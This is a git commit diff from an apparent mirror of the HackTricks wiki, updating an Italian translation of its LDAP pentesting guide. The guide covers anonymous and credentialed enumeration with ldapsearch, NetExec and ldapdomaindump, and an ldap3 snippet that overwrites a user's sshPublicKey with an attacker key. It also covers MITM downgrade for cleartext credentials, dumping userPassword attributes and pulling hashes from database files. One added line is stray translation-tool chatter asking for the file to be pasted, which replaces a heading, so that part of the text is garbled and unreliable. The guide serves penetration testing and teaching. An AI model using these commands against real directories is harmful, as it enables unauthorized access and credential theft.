mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/windows-hardening/active-directory-methodology/pass
This commit is contained in:
parent
870184e0fc
commit
b868f3b307
@ -2,21 +2,21 @@
|
|||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
L'uso di **LDAP** (Lightweight Directory Access Protocol) è principalmente per localizzare varie entità come organizzazioni, individui e risorse come file e dispositivi all'interno delle reti, sia pubbliche che private. Offre un approccio semplificato rispetto al suo predecessore, DAP, avendo un'impronta di codice più piccola.
|
L'uso di **LDAP** (Lightweight Directory Access Protocol) serve principalmente per individuare varie entità come organizzazioni, persone e risorse come file e dispositivi all'interno di reti, sia pubbliche che private. Offre un approccio più snello rispetto al suo predecessore, DAP, avendo un footprint di codice più ridotto.
|
||||||
|
|
||||||
Le directory LDAP sono strutturate per consentirne la distribuzione su più server, con ogni server che ospita una versione **replicata** e **sincronizzata** della directory, chiamata Directory System Agent (DSA). La responsabilità per la gestione delle richieste è interamente a carico del server LDAP, che può comunicare con altri DSA secondo necessità per fornire una risposta unificata al richiedente.
|
Le directory LDAP sono strutturate per permetterne la distribuzione su più server, ognuno dei quali ospita una versione **replicata** e **sincronizzata** della directory, denominata Directory System Agent (DSA). La responsabilità della gestione delle richieste ricade interamente sul server LDAP, che può comunicare con altri DSA secondo necessità per fornire una risposta unificata al richiedente.
|
||||||
|
|
||||||
L'organizzazione della directory LDAP assomiglia a una **gerarchia ad albero, partendo dalla directory radice in cima**. Questa si ramifica in paesi, che si dividono ulteriormente in organizzazioni, e poi in unità organizzative che rappresentano varie divisioni o dipartimenti, raggiungendo infine il livello delle singole entità, comprese sia le persone che le risorse condivise come file e stampanti.
|
L'organizzazione della directory LDAP somiglia a una **gerarchia ad albero, che inizia con la directory root in cima**. Questa si ramifica verso i paesi, che a loro volta si dividono in organizzazioni, e poi in unità organizzative che rappresentano varie divisioni o dipartimenti, arrivando infine al livello delle singole entità, comprese persone e risorse condivise come file e stampanti.
|
||||||
|
|
||||||
**Porta predefinita:** 389 e 636(ldaps). Il Catalogo Globale (LDAP in ActiveDirectory) è disponibile per impostazione predefinita sulle porte 3268 e 3269 per LDAPS.
|
**Porta predefinita:** 389 e 636(ldaps). Global Catalog (LDAP in ActiveDirectory) è disponibile di default sulle porte 3268 e 3269 per LDAPS.
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE REASON
|
PORT STATE SERVICE REASON
|
||||||
389/tcp open ldap syn-ack
|
389/tcp open ldap syn-ack
|
||||||
636/tcp open tcpwrapped
|
636/tcp open tcpwrapped
|
||||||
```
|
```
|
||||||
### LDAP Data Interchange Format
|
### Formato di scambio dati LDAP (LDAP Data Interchange Format)
|
||||||
|
|
||||||
LDIF (LDAP Data Interchange Format) definisce il contenuto della directory come un insieme di record. Può anche rappresentare richieste di aggiornamento (Aggiungi, Modifica, Elimina, Rinomina).
|
LDIF (LDAP Data Interchange Format) definisce il contenuto della directory come un insieme di record. Può anche rappresentare richieste di aggiornamento (Add, Modify, Delete, Rename).
|
||||||
```bash
|
```bash
|
||||||
dn: dc=local
|
dn: dc=local
|
||||||
dc: local
|
dc: local
|
||||||
@ -45,14 +45,14 @@ ou:
|
|||||||
mail: pepe@hacktricks.xyz
|
mail: pepe@hacktricks.xyz
|
||||||
phone: 23627387495
|
phone: 23627387495
|
||||||
```
|
```
|
||||||
- Le righe 1-3 definiscono il dominio di primo livello locale
|
- Le righe 1-3 definiscono il dominio di primo livello local
|
||||||
- Le righe 5-8 definiscono il dominio di primo livello moneycorp (moneycorp.local)
|
- Le righe 5-8 definiscono il dominio di primo livello moneycorp (moneycorp.local)
|
||||||
- Le righe 10-16 definiscono 2 unità organizzative: dev e sales
|
- Le righe 10-16 definiscono 2 unità organizzative: dev e sales
|
||||||
- Le righe 18-26 creano un oggetto del dominio e assegnano attributi con valori
|
- Le righe 18-26 creano un oggetto del dominio e assegnano attributi con valori
|
||||||
|
|
||||||
## Scrivi dati
|
## Scrivere dati
|
||||||
|
|
||||||
Nota che se puoi modificare i valori potresti essere in grado di eseguire azioni davvero interessanti. Ad esempio, immagina che tu **possa cambiare le informazioni "sshPublicKey"** del tuo utente o di qualsiasi utente. È altamente probabile che se questo attributo esiste, allora **ssh sta leggendo le chiavi pubbliche da LDAP**. Se puoi modificare la chiave pubblica di un utente **sarai in grado di accedere come quell'utente anche se l'autenticazione con password non è abilitata in ssh**.
|
Nota che se puoi modificare i valori potresti essere in grado di eseguire azioni davvero interessanti. Per esempio, immagina che tu **puoi cambiare le informazioni "sshPublicKey"** del tuo utente o di qualsiasi utente. È altamente probabile che se questo attributo esiste, allora **ssh sta leggendo le chiavi pubbliche da LDAP**. Se puoi modificare la chiave pubblica di un utente **potrai accedere come quell'utente anche se l'autenticazione tramite password non è abilitata in ssh**.
|
||||||
```bash
|
```bash
|
||||||
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
|
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
|
||||||
>>> import ldap3
|
>>> import ldap3
|
||||||
@ -64,30 +64,55 @@ True
|
|||||||
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
||||||
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
|
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
|
||||||
```
|
```
|
||||||
## Sniff clear text credentials
|
## Sniff credenziali in chiaro
|
||||||
|
|
||||||
Se LDAP viene utilizzato senza SSL, puoi **sniffare le credenziali in chiaro** nella rete.
|
Se LDAP è usato senza SSL puoi **sniffare le credenziali in chiaro** nella rete.
|
||||||
|
|
||||||
Inoltre, puoi eseguire un attacco **MITM** nella rete **tra il server LDAP e il client.** Qui puoi effettuare un **Downgrade Attack** in modo che il client utilizzi le **credenziali in chiaro** per accedere.
|
Inoltre, puoi eseguire un attacco **MITM** nella rete **tra il server LDAP e il client.** Qui puoi effettuare un **Downgrade Attack** in modo che il client usi le **credenziali in chiaro** per autenticarsi.
|
||||||
|
|
||||||
**Se viene utilizzato SSL**, puoi provare a fare **MITM** come menzionato sopra, offrendo un **certificato falso**; se l'**utente lo accetta**, puoi effettuare il downgrade del metodo di autenticazione e vedere di nuovo le credenziali.
|
**Se SSL è usato** puoi provare a effettuare un **MITM** come descritto sopra offrendo un **certificato falso**; se l'**utente lo accetta**, sei in grado di effettuare un Downgrade del metodo di autenticazione e vedere nuovamente le credenziali.
|
||||||
|
|
||||||
## Anonymous Access
|
## Accesso anonimo
|
||||||
|
|
||||||
### Bypass TLS SNI check
|
### Bypass TLS SNI check
|
||||||
|
|
||||||
Secondo [**questo writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), semplicemente accedendo al server LDAP con un nome di dominio arbitrario (come company.com), è stato in grado di contattare il servizio LDAP ed estrarre informazioni come utente anonimo:
|
Secondo [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) semplicemente accedendo al server LDAP con un nome di dominio arbitrario (come company.com) è stato in grado di contattare il servizio LDAP ed estrarre informazioni come utente anonimo:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
||||||
```
|
```
|
||||||
### LDAP anonymous binds
|
### LDAP anonymous binds
|
||||||
|
|
||||||
[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) consentono a **attaccanti non autenticati** di recuperare informazioni dal dominio, come un elenco completo di utenti, gruppi, computer, attributi degli account utente e la politica delle password del dominio. Questa è una **configurazione legacy**, e a partire da Windows Server 2003, solo gli utenti autenticati sono autorizzati a iniziare richieste LDAP.\
|
[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) permettono agli **attaccanti non autenticati** di recuperare informazioni dal dominio, come l'elenco completo di utenti, gruppi, computer, attributi degli account utente e la password policy del dominio. Questa è una **configurazione legacy**, e a partire da Windows Server 2003 solo gli utenti autenticati possono iniziare richieste LDAP.\
|
||||||
Tuttavia, gli amministratori potrebbero aver dovuto **configurare un'applicazione particolare per consentire i bind anonimi** e aver dato più accesso di quanto previsto, dando così agli utenti non autenticati accesso a tutti gli oggetti in AD.
|
Tuttavia, gli amministratori potrebbero aver dovuto **configurare una particolare applicazione per consentire anonymous binds** e aver concesso più accesso di quanto previsto, dando così agli utenti non autenticati accesso a tutti gli oggetti in AD.
|
||||||
|
|
||||||
## Valid Credentials
|
### Anonymous LDAP enumeration with NetExec (null bind)
|
||||||
|
|
||||||
Se hai credenziali valide per accedere al server LDAP, puoi estrarre tutte le informazioni sull'Amministratore di Dominio utilizzando:
|
If null/anonymous bind is allowed, you can pull users, groups, and attributes directly via NetExec’s LDAP module without creds. Useful filters:
|
||||||
|
- (objectClass=*) to inventory objects under a base DN
|
||||||
|
- (sAMAccountName=*) to harvest user principals
|
||||||
|
|
||||||
|
Examples:
|
||||||
|
```bash
|
||||||
|
# Enumerate objects from the root DSE (base DN autodetected)
|
||||||
|
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""
|
||||||
|
|
||||||
|
# Dump users with key attributes for spraying and targeting
|
||||||
|
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""
|
||||||
|
|
||||||
|
# Extract just the sAMAccountName field into a list
|
||||||
|
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
|
||||||
|
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
|
||||||
|
```
|
||||||
|
Cosa cercare:
|
||||||
|
- sAMAccountName, userPrincipalName
|
||||||
|
- memberOf e posizionamento OU per delimitare targeted sprays
|
||||||
|
- pwdLastSet (modelli temporali), userAccountControl flags (disabled, smartcard required, etc.)
|
||||||
|
|
||||||
|
Nota: se anonymous bind non è consentito, normalmente vedrai un errore Operations che indica che è necessario eseguire un bind.
|
||||||
|
|
||||||
|
## Credenziali valide
|
||||||
|
|
||||||
|
Se disponi di credenziali valide per accedere al server LDAP, puoi eseguire il dump di tutte le informazioni sul Domain Admin usando:
|
||||||
|
|
||||||
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
||||||
```bash
|
```bash
|
||||||
@ -98,9 +123,9 @@ ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authty
|
|||||||
|
|
||||||
## Enumerazione
|
## Enumerazione
|
||||||
|
|
||||||
### Automatizzata
|
### Automatizzato
|
||||||
|
|
||||||
Utilizzando questo, sarai in grado di vedere le **informazioni pubbliche** (come il nome di dominio)**:**
|
Con questo potrai vedere le **informazioni pubbliche** (come il nome di dominio)**:**
|
||||||
```bash
|
```bash
|
||||||
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
||||||
```
|
```
|
||||||
@ -108,11 +133,11 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
|||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Vedi l'enumerazione LDAP con python</summary>
|
<summary>Vedi enumerazione LDAP con python</summary>
|
||||||
|
|
||||||
Puoi provare a **enumerare un LDAP con o senza credenziali usando python**: `pip3 install ldap3`
|
Puoi provare a **enumerare un LDAP con o senza credenziali usando python**: `pip3 install ldap3`
|
||||||
|
|
||||||
Prima prova a **connetterti senza** credenziali:
|
Per prima cosa prova a **connetterti senza** credenziali:
|
||||||
```bash
|
```bash
|
||||||
>>> import ldap3
|
>>> import ldap3
|
||||||
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
|
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
|
||||||
@ -121,7 +146,7 @@ Prima prova a **connetterti senza** credenziali:
|
|||||||
True
|
True
|
||||||
>>> server.info
|
>>> server.info
|
||||||
```
|
```
|
||||||
Se la risposta è `True` come nell'esempio precedente, puoi ottenere alcuni **dati interessanti** del server LDAP (come il **contesto di denominazione** o il **nome di dominio**) da:
|
Se la risposta è `True` come nell'esempio precedente, puoi ottenere alcuni **dati interessanti** del server LDAP (come il **naming context** o il **nome di dominio**) da:
|
||||||
```bash
|
```bash
|
||||||
>>> server.info
|
>>> server.info
|
||||||
DSA info (from DSE):
|
DSA info (from DSE):
|
||||||
@ -129,13 +154,13 @@ Supported LDAP versions: 3
|
|||||||
Naming contexts:
|
Naming contexts:
|
||||||
dc=DOMAIN,dc=DOMAIN
|
dc=DOMAIN,dc=DOMAIN
|
||||||
```
|
```
|
||||||
Una volta che hai il contesto di denominazione, puoi effettuare alcune query più interessanti. Questa semplice query dovrebbe mostrarti tutti gli oggetti nella directory:
|
Una volta che hai il naming context puoi effettuare delle query più interessanti. Questa semplice query dovrebbe mostrarti tutti gli oggetti nella directory:
|
||||||
```bash
|
```bash
|
||||||
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
|
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
|
||||||
True
|
True
|
||||||
>> connection.entries
|
>> connection.entries
|
||||||
```
|
```
|
||||||
O **dump** l'intero ldap:
|
Oppure **dump** l'intero ldap:
|
||||||
```bash
|
```bash
|
||||||
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
|
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
|
||||||
True
|
True
|
||||||
@ -160,7 +185,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p
|
|||||||
```
|
```
|
||||||
### ldapsearch
|
### ldapsearch
|
||||||
|
|
||||||
Controlla le credenziali nulle o se le tue credenziali sono valide:
|
Verifica credenziali nulle o se le tue credenziali sono valide:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
@ -173,7 +198,7 @@ result: 1 Operations error
|
|||||||
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
|
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
|
||||||
tion a successful bind must be completed on the connection., data 0, v3839
|
tion a successful bind must be completed on the connection., data 0, v3839
|
||||||
```
|
```
|
||||||
Se trovi qualcosa che dice che il "_bind deve essere completato_" significa che le credenziali non sono corrette.
|
Se trovi qualcosa che riporta "_bind must be completed_" significa che le credenziali sono errate.
|
||||||
|
|
||||||
Puoi estrarre **tutto da un dominio** usando:
|
Puoi estrarre **tutto da un dominio** usando:
|
||||||
```bash
|
```bash
|
||||||
@ -184,12 +209,12 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_
|
|||||||
-w My password
|
-w My password
|
||||||
-b Base site, all data from here will be given
|
-b Base site, all data from here will be given
|
||||||
```
|
```
|
||||||
Estrai **utenti**:
|
Estrai **users**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
|
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
|
||||||
```
|
```
|
||||||
Estrai **computer**:
|
Non vedo il contenuto del file src/network-services-pentesting/pentesting-ldap.md. Per favore incolla la sezione "computers" o l'intero file; poi la estraggo e la traduco in italiano mantenendo esattamente la stessa sintassi Markdown/HTML e rispettando le regole indicate.
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
@ -209,7 +234,7 @@ Estrai **Enterprise Admins**:
|
|||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
Estrai **Amministratori**:
|
Estrai **Administrators**:
|
||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
@ -217,7 +242,7 @@ Estrai **Remote Desktop Group**:
|
|||||||
```bash
|
```bash
|
||||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||||
```
|
```
|
||||||
Per verificare se hai accesso a qualche password, puoi usare grep dopo aver eseguito una delle query:
|
Per verificare se hai accesso a qualche password puoi usare grep dopo aver eseguito una delle query:
|
||||||
```bash
|
```bash
|
||||||
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
|
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
|
||||||
```
|
```
|
||||||
@ -226,7 +251,7 @@ Si prega di notare che le password che puoi trovare qui potrebbero non essere qu
|
|||||||
#### pbis
|
#### pbis
|
||||||
|
|
||||||
Puoi scaricare **pbis** da qui: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) e di solito è installato in `/opt/pbis`.\
|
Puoi scaricare **pbis** da qui: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) e di solito è installato in `/opt/pbis`.\
|
||||||
**Pbis** ti consente di ottenere facilmente informazioni di base:
|
**Pbis** ti permette di ottenere facilmente informazioni di base:
|
||||||
```bash
|
```bash
|
||||||
#Read keytab file
|
#Read keytab file
|
||||||
./klist -k /etc/krb5.keytab
|
./klist -k /etc/krb5.keytab
|
||||||
@ -255,13 +280,13 @@ Puoi scaricare **pbis** da qui: [https://github.com/BeyondTrust/pbis-open/](http
|
|||||||
./list-groups-for-user <username>
|
./list-groups-for-user <username>
|
||||||
./lsa list-groups-for-user <username>
|
./lsa list-groups-for-user <username>
|
||||||
#Get groups of each user
|
#Get groups of each user
|
||||||
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
|
./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
|
||||||
|
|
||||||
#Get users of a group
|
#Get users of a group
|
||||||
./enum-members --by-name "domain admins"
|
./enum-members --by-name "domain admins"
|
||||||
./lsa enum-members --by-name "domain admins"
|
./lsa enum-members --by-name "domain admins"
|
||||||
#Get users of each group
|
#Get users of each group
|
||||||
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
|
./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
|
||||||
|
|
||||||
#Get description of each user
|
#Get description of each user
|
||||||
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
|
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
|
||||||
@ -270,15 +295,15 @@ echo "$line";
|
|||||||
echo "======================"
|
echo "======================"
|
||||||
done
|
done
|
||||||
```
|
```
|
||||||
## Interfaccia Grafica
|
## Interfaccia grafica
|
||||||
|
|
||||||
### Apache Directory
|
### Apache Directory
|
||||||
|
|
||||||
[**Scarica Apache Directory da qui**](https://directory.apache.org/studio/download/download-linux.html). Puoi trovare un [esempio di come utilizzare questo strumento qui](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
|
[**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html). You can find an [example of how to use this tool here](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s).
|
||||||
|
|
||||||
### jxplorer
|
### jxplorer
|
||||||
|
|
||||||
Puoi scaricare un'interfaccia grafica con server LDAP qui: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
You can download a graphical interface with LDAP server here: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
||||||
|
|
||||||
Per impostazione predefinita è installato in: _/opt/jxplorer_
|
Per impostazione predefinita è installato in: _/opt/jxplorer_
|
||||||
|
|
||||||
@ -286,35 +311,35 @@ Per impostazione predefinita è installato in: _/opt/jxplorer_
|
|||||||
|
|
||||||
### Godap
|
### Godap
|
||||||
|
|
||||||
Godap è un'interfaccia utente terminale interattiva per LDAP che può essere utilizzata per interagire con oggetti e attributi in AD e altri server LDAP. È disponibile per Windows, Linux e MacOS e supporta bind semplici, pass-the-hash, pass-the-ticket e pass-the-cert, insieme a diverse altre funzionalità specializzate come cercare/creare/cambiare/cancellare oggetti, aggiungere/rimuovere utenti dai gruppi, cambiare password, modificare permessi sugli oggetti (DACL), modificare DNS integrato in Active Directory (ADIDNS), esportare in file JSON, ecc.
|
Godap è un'interfaccia utente terminale interattiva per LDAP che può essere usata per interagire con oggetti e attributi in AD e altri server LDAP. È disponibile per Windows, Linux e MacOS e supporta simple binds, pass-the-hash, pass-the-ticket & pass-the-cert, insieme a diverse altre funzionalità specializzate come ricerca/creazione/modifica/eliminazione di oggetti, aggiunta/rimozione di utenti dai gruppi, cambio password, modifica delle autorizzazioni degli oggetti (DACLs), modifica di Active-Directory Integrated DNS (ADIDNS), esportazione in file JSON, ecc.
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
Puoi accedervi in [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Per esempi di utilizzo e istruzioni leggi il [Wiki](https://github.com/Macmod/godap/wiki).
|
You can access it in [https://github.com/Macmod/godap](https://github.com/Macmod/godap). For usage examples and instructions read the [Wiki](https://github.com/Macmod/godap/wiki).
|
||||||
|
|
||||||
### Ldapx
|
### Ldapx
|
||||||
|
|
||||||
Ldapx è un proxy LDAP flessibile che può essere utilizzato per ispezionare e trasformare il traffico LDAP da altri strumenti. Può essere utilizzato per offuscare il traffico LDAP per tentare di eludere gli strumenti di protezione dell'identità e di monitoraggio LDAP e implementa la maggior parte dei metodi presentati nel talk [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo).
|
Ldapx è un proxy LDAP flessibile che può essere usato per ispezionare e trasformare il traffico LDAP proveniente da altri strumenti. Può essere utilizzato per offuscare il traffico LDAP nel tentativo di bypassare identity protection & strumenti di monitoraggio LDAP e implementa la maggior parte dei metodi presentati nella [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) talk.
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
Puoi ottenerlo da [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx).
|
You can get it from [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx).
|
||||||
|
|
||||||
## Autenticazione tramite kerberos
|
## Autenticazione tramite Kerberos
|
||||||
|
|
||||||
Utilizzando `ldapsearch` puoi **autenticarti** contro **kerberos invece** di tramite **NTLM** utilizzando il parametro `-Y GSSAPI`
|
Usando `ldapsearch` puoi **autenticarti** tramite **Kerberos** invece di via **NTLM** usando il parametro `-Y GSSAPI`
|
||||||
|
|
||||||
## POST
|
## POST
|
||||||
|
|
||||||
Se puoi accedere ai file dove sono contenute le basi di dati (potrebbero trovarsi in _/var/lib/ldap_). Puoi estrarre gli hash utilizzando:
|
Se puoi accedere ai file che contengono i database (potrebbero trovarsi in _/var/lib/ldap_). Puoi estrarre gli hash usando:
|
||||||
```bash
|
```bash
|
||||||
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
||||||
```
|
```
|
||||||
Puoi fornire a john l'hash della password (da '{SSHA}' a 'structural' senza aggiungere 'structural').
|
Puoi fornire a john l'hash della password (da '{SSHA}' a 'structural' senza aggiungere 'structural').
|
||||||
|
|
||||||
### File di Configurazione
|
### File di configurazione
|
||||||
|
|
||||||
- Generale
|
- General
|
||||||
- containers.ldif
|
- containers.ldif
|
||||||
- ldap.cfg
|
- ldap.cfg
|
||||||
- ldap.conf
|
- ldap.conf
|
||||||
@ -335,7 +360,7 @@ Puoi fornire a john l'hash della password (da '{SSHA}' a 'structural' senza aggi
|
|||||||
- Sun ONE Directory Server 5.1
|
- Sun ONE Directory Server 5.1
|
||||||
- 75sas.ldif
|
- 75sas.ldif
|
||||||
|
|
||||||
## HackTricks Comandi Automatici
|
## Comandi automatici di HackTricks
|
||||||
```
|
```
|
||||||
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
|
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 389,636 #Comma separated if there is more than one.
|
Port_Number: 389,636 #Comma separated if there is more than one.
|
||||||
@ -378,4 +403,10 @@ Entry_7:
|
|||||||
Name: Netexec LDAP BloodHound
|
Name: Netexec LDAP BloodHound
|
||||||
